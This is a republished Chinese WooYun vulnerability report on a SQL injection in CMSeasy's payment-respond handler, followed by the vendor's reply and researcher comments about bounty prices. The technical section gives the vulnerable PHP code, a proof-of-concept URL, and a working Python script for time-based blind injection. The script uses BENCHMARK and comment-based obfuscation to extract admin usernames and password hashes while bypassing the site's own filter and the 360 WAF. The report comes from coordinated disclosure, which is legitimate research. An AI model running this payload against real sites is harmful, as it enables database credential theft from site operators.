CMSeasy SQL注入漏洞一发(bypass自身与360waf)

admin 2015年6月6日19:53:27评论315 views字数 246阅读0分49秒阅读模式
摘要

2014-09-02: 细节已通知厂商并且等待厂商处理中
2014-09-03: 厂商已经确认,细节仅向厂商公开
2014-09-06: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-10-28: 细节向核心白帽子及相关领域专家公开
2014-11-07: 细节向普通白帽子公开
2014-11-17: 细节向实习白帽子公开
2014-12-01: 细节向公众公开

漏洞概要 关注数(55) 关注此漏洞

缺陷编号: WooYun-2014-74669

漏洞标题: CMSeasy SQL注入漏洞一发(bypass自身与360waf) CMSeasy SQL注入漏洞一发(bypass自身与360waf)

相关厂商: cmseasy

漏洞作者: magerx

提交时间: 2014-09-02 15:33

公开时间: 2014-12-01 15:34

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php源码审核 sql注射漏洞利用技巧 php源码分析

13人收藏


漏洞详情

披露状态:

2014-09-02: 细节已通知厂商并且等待厂商处理中
2014-09-03: 厂商已经确认,细节仅向厂商公开
2014-09-06: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-10-28: 细节向核心白帽子及相关领域专家公开
2014-11-07: 细节向普通白帽子公开
2014-11-17: 细节向实习白帽子公开
2014-12-01: 细节向公众公开

简要描述:

也不知道重复没有- -!

详细说明:

/lib/default/archive_act.php:

code 区域
function respond_action() {
include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';
$payclassname = front::$get['code'];
$payobj = new $payclassname();
$uri = $_SERVER["REQUEST_URI"];
$__uriget = strstr($uri, '?');
$__uriget = str_replace('?', '', $__uriget);
$__uriget = explode('&', $__uriget);
$_GET = array();
foreach ($__uriget as $key => $val) {
$tmp = explode('=', $val);
$_GET[$tmp[0]] = $tmp[1];
if(preg_match('//'|select|union|"/i', $tmp1)){
exit('非法参数');
}
}
file_put_contents('logs11.txt', var_export($_GET,true));
$status = $payobj->respond();

由于程序员的失误导致$tmp1的过滤并没有起到作用,同时由于前面会对code进行过滤

继续跟到alipay.php:

code 区域
function respond() {
if (!empty($_POST)) {
foreach($_POST as $key =>$data) {
if(preg_match('/(=|<|>|/')/', $data)){
return false;
}
$_GET[$key] = $data;
}
}
$payment = pay::get_payment($_GET['code']);

看看get_payment().

code 区域
public static function get_payment($code) {
$where=array();
$where['pay_code']=$code;
$where['enabled']=1;
$payment1=pay::getInstance()->getrows($where);//注入
$payment = $payment1[0];
if ($payment) {
$config_list = unserialize($payment['pay_config']);
foreach ($config_list AS $config) {
$payment[$config['name']] = $config['value'];
}
}
return $payment;
}

由于cmseasy使用了360防护,但是可以基于白名单绕过,如下

poc:

code 区域
http://localhost/cmseasy/uploads/index.php/?case=file&case=archive&act=respond&code=alipay'

无法使用"=",写个脚本跑一下

exp:

code 区域
import urllib2
from time import time

def inject(payload):
url = 'http://localhost/cmseasy/uploads/index.php/?case=file&case=archive&act=respond&code=alipay'
req = urllib2.Request(url+payload)
start = time()
response = urllib2.urlopen(req)
end = time()
index = int(end-start)
return index
wordlist = "123456789:;Abcdefghijklmnopqrstuvwxyz{"

def user_pass():
result = ""
for i in range(1,40):
for num in range(len(wordlist)):
word = ord(wordlist[num])
times = inject("'/**/and/**/IF(ord(substring((select/**/concat(username,0x3a,password)/**/from/**/cmseasy_user),{0},1))<{1},BENCHMARK(2000000,md5('xxx')),null)/**/and/**/'1".format(i,word))
if times>1:
print str(i)+'<=========>'+chr(word-1)
result = result+chr(word-1)
break
print 'username:password<=========>'+result

user_pass()

漏洞证明:

CMSeasy SQL注入漏洞一发(bypass自身与360waf)

修复方案:

完善过滤

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-09-03 07:15

厂商回复:

感谢

最新状态:

2014-10-14:漏洞已经处理,补丁后续发出。

2014-10-14:希望留下您的联系方式私信我们。


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-09-02 17:51 | 进击的zjx ( 普通白帽子 | Rank:1712 漏洞数:224 )

    0

    我去,$$$这是要发啊!

  2. 2014-09-02 17:56 | ′ 雨。 CMSeasy SQL注入漏洞一发(bypass自身与360waf) ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)

    0

    我擦 。。。这么快就定价还$$$

  3. 2014-09-02 18:22 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)

    0

    真是没赶上好时代啊

  4. 2014-09-02 19:23 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    0

    NB.... $$$ SO FAST

  5. 2014-09-02 19:37 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)

    0

    $$$简直炫酷

  6. 2014-09-02 19:41 | xsser CMSeasy SQL注入漏洞一发(bypass自身与360waf) ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)

    0

    别刺激哥

  7. 2014-09-02 21:04 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    0

    @xsser 哥,你刺激大家了。

  8. 2014-09-02 21:22 | f4ckbaidu ( 普通白帽子 | Rank:265 漏洞数:33 | 开发真是日了狗了)

    0

    屌,1w到手了

  9. 2014-09-02 21:47 | pandas ( 普通白帽子 | Rank:730 漏洞数:84 | 国家特级保护动物)

    0

    应该没有1w,cmseasy以前不都是2k么。这次3个$应该是比2k多点,3k、4k的样子,同时是不是意味着漏洞普遍涨价了?

  10. 2014-09-02 22:01 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)

    0

    求科普、、1$是多少钱、、、

  11. 2014-09-03 08:48 | 乐乐、 ( 普通白帽子 | Rank:878 漏洞数:190 )

    0

    @zhxs 1$ 200-500 2$ 501-1000 3$1001-N

  12. 2014-09-03 10:52 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)

    0

    @乐乐、 错了 $ 100-500;$$ 501-2000;$$$2001-∞

  13. 2014-09-03 11:29 | 乐乐、 ( 普通白帽子 | Rank:878 漏洞数:190 )

    0

    @索马里的海贼 3$$$ 都2K啦 我一直以为是1K

  14. 2014-09-04 19:40 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)

    0

    @乐乐、 灰常感谢、小菜又长见识了

  15. 2014-09-24 22:33 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟,此号处于联盟托管中....)

    0

    这个很不错!

  16. 2014-09-27 20:02 | menmen519 ( 普通白帽子 | Rank:970 漏洞数:166 | http://menmen519.blog.sohu.com/)

    0

    这个没有我的那个直接啊,我那个报错注入,也不知道是多少

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin